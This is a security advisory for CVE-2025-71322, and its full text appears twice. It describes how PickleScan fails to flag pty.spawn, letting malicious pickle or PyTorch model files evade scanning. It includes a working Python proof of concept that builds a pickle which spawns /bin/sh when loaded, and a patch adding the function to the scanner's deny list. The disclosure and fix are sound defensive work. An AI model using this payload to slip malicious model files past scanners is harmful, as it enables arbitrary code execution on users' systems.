CVE-2025-71322

### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```

### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats. ### Details For 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released. The intended way was to use `pty.spawn` but some players found alternative solutions. ### PoC - Run the following Python code to generate the PoC pickle file. ```py import pickle command = b"/bin/sh" payload = b"".join( [ pickle.PROTO + pickle.pack("B", 4), pickle.MARK, pickle.GLOBAL + b"pty\n" + b"spawn\n", pickle.EMPTY_LIST, pickle.SHORT_BINUNICODE + pickle.pack("B", len(command)) + command, pickle.APPEND, # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes pickle.OBJ, pickle.STOP, ] ) with open("dump.pkl", "wb") as f: f.write(payload) ``` - Run PickleScan on the generated pickle file. <img width="936" height="311" alt="picklescan_bypass_pty_spawn" src="https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f" /> PickleScan detects the `pty.spawn` global as "suspicious" but not "dangerous", allowing it to be loaded. ### Impact **Severity**: High **Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content. **Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded. ### Suggested Patch ``` diff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py index 34a5715..b434069 100644 --- a/src/picklescan/scanner.py +++ b/src/picklescan/scanner.py @@ -150,6 +150,7 @@ _unsafe_globals = { "_pickle": "*", "pip": "*", "profile": {"Profile.run", "Profile.runctx"}, + "pty": "spawn", "pydoc": "pipepager", # pydoc.pipepager('help','echo pwned') "timeit": "*", "torch._dynamo.guards": {"GuardBuilder.get"}, ```